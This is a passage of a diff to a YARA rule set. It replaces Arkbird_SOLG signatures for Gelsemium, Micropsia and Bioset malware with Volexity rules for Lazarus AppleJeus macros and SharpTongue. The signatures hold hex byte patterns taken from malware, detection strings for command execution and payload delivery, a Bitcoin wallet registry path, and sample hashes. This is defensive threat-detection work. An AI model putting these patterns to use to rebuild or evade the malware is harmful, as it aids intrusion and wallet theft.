e8 90 ad 00 00 90 e8 ea 2b ff ff 48 8d 48 30 48 8d 55 a8 e8 cd 74 00 00 48 8b d0 4c 8d 45 e8 48 8d 8d b8 04 00 00 e8 1a 55 01 00 90 48 83 7d c0 08 72 0a 48 8b 4d a8 ff 15 50 2f 06 00 48 c7 45 c0 07 00 00 00 4c 89 65 b8 66 44 89 65 a8 48 83 7d 00 08 72 0a 48 8b 4d e8 ff 15 2e 2f 06 00 48 c7 45 00 07 00 00 00 4c 89 65 f8 66 44 89 65 e8 48 8d 85 98 04 00 00 48 89 85 c0 00 00 00 48 8d 85 88 04 00 00 48 89 85 c8 00 00 00 48 8b 9d b8 04 00 00 48 8b bd c0 04 00 00 48 3b df 0f 84 8b 02 00 00 66 90 4c 89 a5 48 05 00 00 4c 89 a5 50 05 00 00 48 c7 45 30 07 00 00 00 4c 89 65 28 66 44 89 65 18 4c 8d 85 50 04 00 00 48 83 bd 68 04 00 00 08 4c 0f 43 85 50 04 00 00 48 8d 95 50 04 00 00 48 0f 43 95 50 04 00 00 48 8b 85 60 04 00 00 4d 8d 04 40 48 8d 4d 18 e8 37 b4 01 00 90 48 8d 55 18 48 8d 8d 48 05 00 00 e8 36 9a 00 00 90 48 83 7d 30 }
-		$s2 = { 48 c7 85 b0 04 00 00 07 00 00 00 4c 89 a5 a8 04 00 00 66 44 89 a5 98 04 00 00 4c 8b 85 88 04 00 00 4d 8b c8 4d 8b 00 48 8d 95 28 02 00 00 48 8d 8d 88 04 00 00 e8 d1 fe 00 00 48 8b 8d 88 04 00 00 ff 15 5c 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 41 b8 0e 00 00 00 48 8d 15 b7 db 08 00 48 8d 4d c8 e8 ee d0 00 00 90 48 8d 4d c8 e8 54 8c 01 00 48 8b d8 48 83 7d e0 10 72 0a 48 8b 4d c8 ff 15 18 28 06 00 48 c7 45 e0 0f 00 00 00 4c 89 65 d8 c6 45 c8 00 48 }
-		$s3 = { 48 8d 8d a8 02 00 00 e8 88 64 01 00 90 48 8b 08 48 89 4c 24 38 48 8b 48 08 48 89 4c 24 40 4c 89 20 4c 89 60 08 48 8d 54 24 38 48 8d 4c 24 48 e8 a0 8e 01 00 90 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 41 b8 0b 00 00 00 48 8d 15 d9 d3 08 00 48 8d 4d 88 e8 a8 a5 00 00 90 48 8d 54 24 48 48 8d 4d 88 e8 d9 60 00 00 90 48 83 7d a0 08 72 0a 48 8b 4d 88 ff 15 7f 27 06 00 48 c7 45 a0 07 00 00 00 4c 89 65 98 66 44 89 65 88 48 8b 4c 24 48 48 85 c9 74 0b 48 8b 01 ba 01 00 00 00 ff 10 90 48 8b 4c 24 40 }
-		$s4 = { 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 85 df 06 00 49 8b ce e8 05 dd ff ff e8 e0 db ff ff 48 8d 78 30 e8 27 fc ff ff 33 f6 84 c0 0f 85 ae 01 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 44 8d 46 07 48 8d 15 cf 84 09 00 48 8d 4c 24 20 e8 45 5d 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 44 8d 46 07 48 8d 15 a6 84 09 00 48 8d 4c 24 40 e8 1c 5d 01 00 90 48 8d 54 24 20 48 8b cf e8 5e 24 01 00 48 8b d8 48 8d 54 24 40 48 8d 4d 18 e8 4d 24 01 00 48 8b c8 48 8b d3 e8 72 c1 ff ff 85 c0 0f 9e c3 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 d2 de 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 ac de 06 00 84 db 0f 84 ed 00 00 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 20 00 00 00 48 8d 15 ec 84 09 00 48 8d 4c 24 20 e8 82 5c 01 00 90 48 8d 05 3a aa 09 00 48 89 44 24 40 48 c7 44 24 60 07 00 00 00 48 89 74 24 58 66 89 74 24 48 49 83 c9 ff 45 33 c0 48 8d 54 24 20 48 8d 4c 24 48 e8 0c 5b 01 00 90 48 8d 05 e4 a8 09 00 48 89 45 80 48 8d 4d 88 ff 15 76 de 06 00 48 8d 05 ff e7 06 00 48 89 45 a0 48 89 75 a8 48 89 75 b0 48 89 75 b8 c7 45 c0 ff ff ff ff 48 8b 45 80 48 63 48 04 48 8d 05 71 9a 09 00 48 89 44 0d 80 48 8b 45 80 48 63 48 08 48 8d 05 bd ac 09 00 48 89 44 0d 80 48 8d 54 24 40 48 8d 4d 80 e8 a2 e0 02 00 48 8b d0 41 b8 01 00 00 00 48 8d 4d d0 e8 e0 05 00 00 48 8d 15 81 f8 0b 00 48 8d 4d d0 e8 a2 46 06 00 90 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 0b 00 00 00 48 8d 15 67 83 09 00 48 8d 4c 24 20 e8 95 5b 01 00 90 48 8d 54 24 20 49 8b cd e8 d7 22 01 00 49 3b c4 74 13 49 83 c9 ff 45 33 c0 49 8b d4 48 8b c8 e8 30 5a 01 00 90 48 83 7c 24 38 08 72 0b 48 8b 4c 24 20 ff 15 54 dd 06 00 48 c7 44 24 38 07 00 00 00 48 89 74 24 30 66 89 74 24 20 41 b8 07 00 00 00 48 8d 15 bc 82 09 00 48 8d 4c 24 20 e8 32 5b 01 00 90 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 41 b8 07 00 00 00 48 8d 15 91 82 09 00 48 8d 4c 24 40 e8 07 5b 01 00 90 48 8d 54 24 20 48 8d 4d 18 e8 48 22 01 00 48 8b d8 48 8d 54 24 40 48 8b cf e8 38 22 01 00 48 3b c3 74 13 49 83 c9 ff 45 33 c0 48 8b d3 48 8b c8 e8 91 59 01 00 90 48 83 7c 24 58 08 72 0b 48 8b 4c 24 40 ff 15 b5 dc 06 00 48 c7 44 24 58 07 00 00 00 48 89 74 24 50 66 89 74 24 40 }
+		$key1 = "AppX7y4nbzq37zn4ks9k7amqjywdat7d"
+		$key2 = "Gd2n5frvG2eZ1KOe"
+		$str1 = "Windows %d(%d)-%s"
+		$str2 = "&act=check"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >300KB and 3 of ($s*)
+		( any of ($key*) and 1 of ($str*)) or all of ($str*)
 }
-rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_2 : FILE
+rule VOLEXITY_Apt_Win_Applejeus_C_Oct22 : LAZARUS
 {
 	meta:
-		description = "Detect Gelsenicine malware (Loader - Variant 2)"
-		author = "Arkbird_SOLG"
-		id = "c6e28da2-622b-57ba-9381-9f8f6b8879bf"
-		date = "2021-06-12"
-		modified = "2021-06-14"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_2.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "e1d6402c743af697c8d1b34087b6fe9db80237834d73967b0a0638023d4e4a40"
+		description = "Detected AppleJeus unpacked samples."
+		author = "threatintel@volexity.com"
+		id = "6f467e0e-2932-5ba7-9fe3-0f9d28466e23"
+		date = "2022-11-03"
+		modified = "2022-12-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L43-L63"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "566f5840ff2023f4fd8ffaa9ba1308a7012913cf587838173358b8f1fe4abca8"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "6eaeca0cf28e74de6cfd82d29a3c3cc30c2bc153ac811692cc41ee290d766474"
-		hash1 = "d986207bc108e55f4b110ae208656b415d2c5fcc8f99f98b4b3985e82b9d5e5b"
-		hash1 = "ec491de0e2247f64b753c4ef0c7227ea3548c2f222b547528dae0cf138eca53a"
-		tlp = "white"
-		adversary = "Gelsemium"
+		quality = 80
+		tags = "LAZARUS"
+		hash1 = "a0db8f8f13a27df1eacbc01505f311f6b14cf9b84fbc7e84cb764a13f001dbbb"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { 48 53 48 83 ec 30 48 c7 44 24 20 fe ff ff ff 48 8b d9 c7 44 24 40 00 00 00 00 8b 05 [3] 00 a8 01 0f 85 96 00 00 00 83 c8 01 89 05 [3] 00 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 40 4c 8d 44 24 40 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 33 c0 88 44 24 48 4c 8d 44 24 48 48 8d 15 [3] 00 48 8d 0d [3] 00 ff 15 [2] 00 00 90 48 8d 0d [2] 00 00 e8 [2] 00 00 90 48 c7 43 08 00 00 00 00 48 c7 43 10 00 00 00 00 48 c7 43 18 00 00 00 00 4c 8d 0d [3] 00 4c 8d 05 [3] 00 33 d2 48 8b cb e8 86 f9 ff ff 48 8b c3 48 83 c4 30 }
-		$s2 = { 54 00 65 00 6d 00 70 00 2f 00 00 00 00 00 00 00 43 00 6f 00 6d 00 6d 00 6f 00 6e 00 41 00 70 00 70 00 44 00 61 00 74 00 61 00 2f 00 00 00 00 00 53 00 79 00 73 00 74 00 65 00 6d 00 2f 00 00 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 2f }
-		$s3 = { 48 8b ca e8 [3] 00 48 39 5e 08 75 05 48 8b c3 eb 08 48 8b 46 10 48 2b 46 08 3b c3 0f 4c c3 48 63 c8 e8 [3] 00 48 89 47 08 48 8b 56 10 48 8b 4e 08 4c 8b d8 eb 10 4c 3b db 74 05 8a 01 41 88 03 49 ff c3 48 ff c1 48 3b ca 75 eb 4c 89 5f 10 4c 89 5f 18 48 8b c7 48 83 c4 20 5f 5e }
-		$s4 = { 45 33 c9 45 33 c0 ba 80 00 00 00 48 8b ce e8 16 f2 ff ff 84 c0 74 71 48 8d 53 18 41 b8 20 00 00 00 48 8b ce e8 e4 f4 ff ff 84 c0 74 5b 48 8d 53 38 41 b8 20 00 00 00 48 8b ce e8 56 f9 ff ff 84 c0 74 45 48 8b 43 10 48 8b 0d [3] 00 48 3b c1 74 0d 48 8b d8 48 8b 00 48 3b c1 75 f5 eb 1b 48 8b 43 08 eb 07 48 8b d8 48 8b 40 08 48 3b 58 10 74 f3 48 39 43 10 48 0f }
+		$str1 = "%sd.e%sc \"%s > %s 2>&1\"" wide
+		$str2 = "tuid"
+		$str3 = "content"
+		$str4 = "payload"
+		$str5 = "fconn"
+		$str6 = "Mozilla_%lu"
 
 	condition:
-		uint16(0)==0x5a4d and filesize >30KB and 3 of ($s*)
+		5 of them
 }
-rule ARKBIRD_SOLG_APT_Gelsemium_Gelsenicine_June_2021_1 : FILE
+rule VOLEXITY_Apt_Win_Applejeus_D_Oct22 : LAZARUS
 {
 	meta:
-		description = "Detect Gelsenicine malware (Loader - Variant 1)"
-		author = "Arkbird_SOLG"
-		id = "36276150-a5dd-5385-9e50-958a6fa54de5"
-		date = "2021-06-12"
-		modified = "2021-06-14"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-13/Gelsemium/APT_Gelsemium_Gelsenicine_June_2021_1.yara#L1-L19"
-		license_url = "N/A"
-		logic_hash = "66d9fad7105b46a55db11c5224b1a395793f2dee89f779d59c80b2f7cda5a115"
+		description = "Detected AppleJeus unpacked samples."
+		author = "threatintel@volexity.com"
+		id = "80d2821b-a437-573e-9e9d-bf79f9422cc9"
+		date = "2022-11-10"
+		modified = "2022-12-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L65-L83"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "23c0642e5be15a75a39d089cd52f2f14d633f7af6889140b9ec6e53c5c023974"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "97982e098a4538d05e78c172c9bbc5b412754df86dc73e760004f0038ec928fb"
-		hash2 = "46338cae732ee1664aac77d9dce57c4ff8666460c1a51bee49cae44c86e42df9"
-		hash3 = "f0d23aa026ae6ba96051401dc2b390ba5c968d55c2a4b31a36e45fb67dfc2e3c"
-		tlp = "white"
-		adversary = "Gelsemium"
+		quality = 80
+		tags = "LAZARUS"
+		hash1 = "a241b6611afba8bb1de69044115483adb74f66ab4a80f7423e13c652422cb379"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$s1 = { b8 [3] 74 e8 [2] 00 00 81 ec bc 03 00 00 53 56 57 be [3] 74 8d bd 38 fc ff ff 6a 1b a5 a5 a5 a5 66 a5 59 33 c0 8d bd 4a fc ff ff be [3] 74 f3 ab 66 ab 8d bd b8 fc ff ff 6a 1c a5 a5 a5 a5 59 33 c0 8d bd c8 fc ff ff 6a 07 f3 ab 59 be [3] 74 8d bd 38 fd ff ff 6a 18 f3 a5 66 a5 8b 5d 0c 59 8d bd 56 fd ff ff 83 65 cc 00 f3 ab 66 ab 8a 03 6a 00 8d 4d e0 c7 45 c0 24 00 00 00 c7 45 c4 25 00 00 00 c7 45 c8 23 00 00 00 88 45 e0 ff 15 [3] 74 a1 [3] 74 8d 4d e0 ff 30 6a 00 53 ff 15 [3] 74 8a 45 0f 6a 00 8d 4d d0 c7 45 fc 01 00 00 00 88 45 d0 ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8d 4d d0 ff 15 [3] 74 8b 55 d4 8b 0d [3] 74 85 d2 c6 45 fc 02 75 02 8b d1 8b 43 04 85 c0 75 02 8b c1 ff 75 d8 52 50 ff 15 [3] 74 83 c4 0c 85 c0 0f 85 d9 00 00 00 8d 85 b8 fd ff ff 50 68 04 01 00 00 ff 15 [3] 74 8d 85 b8 fd ff ff 50 ff d6 85 c0 59 0f 84 b5 00 00 00 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 2f 59 74 56 8d 85 b8 fd ff ff 50 ff d6 66 83 bc 45 b6 fd ff ff 5c 59 74 41 8d 4d e0 ff 15 [3] 74 8b 7d e4 8b 5d d8 8d 4d e0 ff 15 [3] 74 8b 45 e4 89 45 f0 8d 85 b8 fd ff ff 50 ff d6 59 8d 84 45 b8 fd ff ff 50 8d 85 b8 fd ff ff 50 8d 44 5f fe 50 ff }
-		$s2 = { ff 75 0c 89 45 f0 ff d6 50 ff 75 0c ff 75 f0 ff 15 [3] 74 83 c4 10 85 c0 }
-		$s3 = "pluginkey" fullword wide
-		$s4 = { 55 8b ec 51 33 c0 56 f6 05 [3] 74 01 89 45 fc 0f 85 c6 00 00 00 8a 4d 0b 80 0d [3] 74 01 53 bb [3] 74 57 88 0d [3] 74 50 8b cb ff 15 [3] 74 8b 35 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 8a 45 0b bb [3] 74 6a 00 8b cb a2 [3] 74 ff 15 [3] 74 bf [3] 74 57 ff d6 59 50 57 8b cb ff 15 [3] 74 68 [2] e2 74 e8 [2] 00 00 59 5f 33 c0 5b 8b 75 08 8a 4d 0b 68 [3] 74 68 [3] 74 88 0e 50 8b ce 89 46 04 89 46 08 89 46 0c e8 [2] 00 00 8b c6 5e }
+		$reg = "Software\\Bitcoin\\Bitcoin-Qt"
+		$pattern = "%s=%d&%s=%s&%s=%s&%s=%d"
+		$exec = " \"%s\", RaitingSetupUI "
+		$http = "Accept: */*" wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize >15KB and 3 of ($s*)
+		all of them
 }
-rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_1 : FILE
+rule VOLEXITY_Cf_Office_Win_Macro_Lazarus_Jeus_B : LAZARUS
 {
 	meta:
-		description = "Detect Micropsia used by APT-C-23 (Build 2018)"
-		author = "Arkbird_SOLG"
-		id = "517a33bb-0214-588f-80e4-dc82f2552330"
-		date = "2021-03-31"
-		modified = "2021-03-31"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_1.yar#L1-L24"
-		license_url = "N/A"
-		logic_hash = "69baab88d80ab15e08f3b08dfca45a1fee6c2e6077152906f391618713fac2ef"
-		score = 50
-		quality = 69
-		tags = "FILE"
-		hash1 = "eb846bb491bea698b99eab80d58fd1f2530b0c1ee5588f7ea02ce0ce209ddb60"
-		level = "experimental"
+		description = "Detects macros used by the Lazarus threat actor to distribute AppleJeus."
+		author = "threatintel@volexity.com"
+		id = "ac4d4e82-e29f-5134-999d-b8dcef59d285"
+		date = "2022-11-03"
+		modified = "2022-12-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L85-L104"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "e55199e6ad26894f98e930cd4716127ee868872d08ada1c44675e4db1ec27894"
+		score = 75
+		quality = 80
+		tags = "LAZARUS"
+		hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b"
+		memory_suitable = 0
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$code1 = { c7 85 6c fc ff ff 12 00 00 00 8b f4 8d 85 6c fc ff ff 50 8d 8d 78 fc ff ff 51 ff 15 44 b0 66 00 3b f4 e8 80 d6 fa ff 8d 85 78 fc ff ff 50 b9 e0 83 66 00 e8 06 0d fb ff 6a 00 e8 24 0a 00 00 83 c4 04 50 e8 a2 d9 fa ff 83 c4 04 c7 85 60 fc ff ff }
-		$code2 = { 68 34 4f 61 00 8d 85 cc fd ff ff 50 e8 3d 02 fd ff 83 c4 08 8b f4 6a 00 6a 00 6a 00 6a 00 8d 85 e8 fd ff ff 50 ff 15 60 b3 66 00 3b f4 e8 f2 0d fd ff 89 85 c0 fd ff ff 83 bd c0 fd ff ff 00 0f 84 49 03 00 00 8b f4 6a 00 6a 00 6a 03 6a 00 6a 00 0f b7 05 d4 83 66 00 50 8b 4d 10 51 8b 95 c0 fd ff ff 52 ff 15 58 b3 66 00 3b f4 e8 b3 0d fd ff 89 85 b4 fd ff ff 83 bd b4 fd ff ff 00 0f 84 f4 02 00 00 8b f4 6a 00 a1 d8 83 66 00 50 6a 00 6a 00 68 5c 4f 61 00 8b 4d 14 51 8d 95 cc fd ff ff 52 8b 85 b4 fd ff ff 50 ff 15 70 b3 66 00 3b f4 e8 6e 0d fd ff 89 85 a8 fd ff ff 83 bd a8 fd ff ff 00 0f 84 af 02 00 00 c7 85 9c fd ff ff 00 00 00 00 83 }
-		$code3 = { 8b 85 60 fc ff ff 83 c0 01 89 85 60 fc ff ff 83 bd 60 fc ff ff 0a 7d 2a e8 3f fc fa ff 99 b9 1a 00 00 00 f7 f9 83 c2 41 88 95 57 fc ff ff 0f b6 85 57 fc ff ff 50 b9 e0 83 66 00 e8 8b 14 fb }
-		$s1 = "szhttpUserAgent" fullword ascii
-		$s2 = "httpUseragent" fullword ascii
-		$s3 = "dwByteRead" fullword ascii
-		$s4 = { 25 59 25 6d 25 64 2d 25 49 2d 25 4d 2d 25 53 }
-		$s5 = { 53 45 4c 45 43 54 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 76 61 63 75 75 6d 5f 64 62 2e 27 20 7c 7c 20 73 75 62 73 74 72 28 73 71 6c 2c 31 34 29 20 20 46 52 4f 4d 20 73 71 6c 69 74 65 5f 6d 61 73 74 65 72 20 57 48 45 52 45 20 73 71 6c 20 4c 49 4b 45 20 27 43 52 45 41 54 45 20 49 4e 44 45 58 20 25 27 }
-		$s6 = { 55 50 44 41 54 45 20 25 51 2e 25 73 20 53 45 54 20 73 71 6c 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 20 3d 20 27 74 72 69 67 67 65 72 27 20 54 48 45 4e 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 72 69 67 67 65 72 28 73 71 6c 2c 20 25 51 29 45 4c 53 45 20 73 71 6c 69 74 65 5f 72 65 6e 61 6d 65 5f 74 61 62 6c 65 28 73 71 6c 2c 20 25 51 29 20 45 4e 44 2c 20 74 62 6c 5f 6e 61 6d 65 20 3d 20 25 51 2c 20 6e 61 6d 65 20 3d 20 43 41 53 45 20 57 48 45 4e 20 74 79 70 65 3d 27 74 61 62 6c 65 27 20 54 48 45 4e 20 25 51 20 57 48 45 4e 20 6e 61 6d 65 20 4c 49 4b 45 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 25 25 27 20 41 4e 44 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 54 48 45 4e 20 27 73 71 6c 69 74 65 5f 61 75 74 6f 69 6e 64 65 78 5f 27 20 7c 7c 20 25 51 20 7c 7c 20 73 75 62 73 74 72 28 6e 61 6d 65 2c 25 64 2b 31 38 29 20 45 4c 53 45 20 6e 61 6d 65 20 45 4e 44 20 57 48 45 52 45 20 74 62 6c 5f 6e 61 6d 65 3d 25 51 20 43 4f 4c 4c 41 54 45 20 6e 6f 63 61 73 65 20 41 4e 44 20 28 74 79 70 65 3d 27 74 61 62 6c 65 27 20 4f 52 20 74 79 70 65 3d 27 69 6e 64 65 78 27 20 4f 52 20 74 79 70 65 3d 27 74 72 69 67 67 65 72 27 29 3b }
-		$s7 = { 25 00 6c 00 73 00 28 00 25 00 64 00 29 }
-		$s8 = { 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 25 73 0d 0a }
+		$a1 = ", vbDirectory) = \"\" Then" ascii
+		$a2 = ".Caption & " ascii
+		$a3 = ".nodeTypedValue" ascii
+		$a4 = ".Application.Visible = False" ascii
+		$a5 = " MkDir (" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >50KB and 2 of ($code*) and 5 of ($s*)
+		all of ($a*)
 }
-rule ARKBIRD_SOLG_APT_APT_C_23_Micropsia_Mar_2021_2 : FILE
+rule VOLEXITY_Cf_Office_Win_Macro_Lazarus_Jeus : LAZARUS
 {
 	meta:
-		description = "Detect Micropsia used by APT-C-23 (Build 2020)"
-		author = "Arkbird_SOLG"
-		id = "cdd95b35-09b4-5412-bd86-55c2e7523d3e"
-		date = "2021-03-31"
-		modified = "2021-03-31"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-31/APT-C-23/APT_APT_C_23_Micropsia_Mar_2021_2.yar#L1-L26"
-		license_url = "N/A"
-		logic_hash = "a00091161ec69c9885e983117e2b424f860bfbab2551ea23b74c37fc062850b9"
-		score = 50
-		quality = 75
-		tags = "FILE"
-		hash1 = "d9b938d89a13620aabe81e0a9d02778cad8658cbfd6f15e7dab47b1118b53237"
-		hash2 = "42f40fb2e4f971807fcb771c9aacc5a2361fdcdaf3eaafc31b22096d81dd0666"
-		level = "experimental"
+		description = "Detects malicious documents used by Lazarus in a campaign dropping the AppleJeus malware."
+		author = "threatintel@volexity.com"
+		id = "03d41314-c19f-566f-9571-48915a292433"
+		date = "2022-11-02"
+		modified = "2022-12-01"
+		reference = "https://github.com/volexity/threat-intel"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2022/2022-12-01 Buyer Beware - Fake Cryptocurrency Applications Serving as Front for AppleJeus Malware/yara.yar#L106-L124"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "8e5a9042ec1ddaf4da511743434461c9865f259c30a9b02c28475b3a59fe4fc1"
+		score = 75
+		quality = 80
+		tags = "LAZARUS"
+		hash1 = "17e6189c19dedea678969e042c64de2a51dd9fba69ff521571d63fd92e48601b"
+		memory_suitable = 1
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
 
 	strings:
-		$code1 = { 8d 45 f8 8b 15 90 c7 69 00 e8 1e 05 d5 ff c7 45 d0 00 00 00 00 c7 45 d4 00 00 00 00 8b 45 d8 8b 58 5c 85 db 74 22 8b c3 8b 10 ff 12 52 50 8b 45 d8 8b 40 5c e8 af 4b db ff 29 04 24 19 54 24 04 58 5a 89 45 d0 89 55 d4 6a 04 8d 45 d8 50 6a 2d 8b 45 d8 8b 80 a4 00 00 00 50 e8 59 cd ff ff c7 45 c4 02 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 3b cd ff ff c7 45 c4 01 00 00 00 6a 04 8d 45 c4 50 6a 3f 8b 45 d8 8b 80 a4 00 00 00 50 e8 1d cd ff ff 33 c0 5a 59 59 64 89 10 68 aa df 6b 00 8b 45 e8 e8 a0 }
-		$code2 = { 6a 00 8b 45 d0 50 6a 00 6a 00 6a 00 6a 00 8b 45 d8 8b 80 a4 00 00 00 50 e8 d1 cc ff ff 85 c0 75 19 8b 15 50 a7 6e 00 8b 4d e8 8b 45 ec e8 9c fc }
-		$code3 = { 8d 4d f4 8b 45 d4 8b 40 0c ba 01 00 00 00 8b 18 ff 53 0c 8b 45 d4 8b 50 10 a1 bc 1c 6f 00 e8 82 bc ff ff 8b 55 f4 a1 bc 1c 6f 00 e8 75 bc ff ff 8b 45 f4 ba f4 7c 6d 00 e8 a0 4c d3 ff 0f 85 cf 00 00 00 ba 08 7d 6d 00 a1 bc 1c 6f 00 e8 53 bc ff ff 33 c0 55 68 9a 76 6d 00 64 ff 30 64 89 20 33 c0 89 45 dc 8d 55 9c b8 38 7c 6d 00 e8 7b 86 d5 ff ff 75 9c 68 50 7c 6d 00 8d 55 98 b8 09 00 00 00 e8 c6 c4 ff ff ff 75 98 68 60 7c 6d 00 8d 45 dc ba 04 00 00 00 e8 91 4b d3 ff e8 c4 22 d5 ff dd 5d c0 9b ff 75 c4 ff 75 c0 8d 4d e0 8b 15 30 ab 6e 00 b8 70 7c 6d 00 e8 97 32 d5 ff 8b 45 d4 83 c0 14 }
-		$s1 = { 4a 00 50 00 45 00 47 00 20 00 49 00 6d 00 61 00 67 00 65 00 20 00 46 00 69 00 6c 00 65 00 25 00 53 00 63 00 68 00 65 00 6d 00 65 00 20 00 22 00 25 00 73 00 22 00 20 00 61 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 72 00 65 00 67 00 69 00 73 00 74 00 65 00 72 00 65 00 64 00 20 00 66 00 6f 00 72 00 20 00 25 00 73 }
-		$s2 = "Download start ." fullword wide
-		$s3 = "application/x-msdownload" fullword wide
-		$s4 = "Start Download File" fullword wide
-		$s5 = "getHttpDownload" fullword ascii
-		$s6 = "Download start ." fullword wide
-		$s7 = "-start" fullword wide
-		$s8 = "-Winapi.ImageHlp" fullword ascii
-		$s9 = "postHttpDownload" fullword ascii
+		$s1 = "0M8R4K" ascii
+		$s2 = "bin.base64" ascii
+		$s3 = "dragon" ascii
+		$s4 = "Workbook_Open" ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize >50KB and 2 of ($code*) and 5 of ($s*)
+		3 of ($s*)
 }
-rule ARKBIRD_SOLG_MAL_ELF_Bioset_Jul_2021_1 : FILE
+rule VOLEXITY_Apt_Js_Sharpext : SHARPTONGUE
 {
 	meta:
-		description = "Detect the Bioset malware"
-		author = "Arkbird_SOLG"
-		id = "1b95c3df-7543-521c-a28b-d540ad0bd648"
-		date = "2021-07-02"
-		modified = "2021-07-05"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1409848815948111877"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-07-04/Bioset/MAL_ELF_Bioset_Jul_2021_1.yara#L1-L26"
-		license_url = "N/A"
-		logic_hash = "b5ba7f4517f07d8657cbd54695cad88d8c2f263ee010bd70c4a05433b2927576"
+		description = "A malicious Chrome browser extention used by the SharpTongue threat actor to steal mail data from a victim."
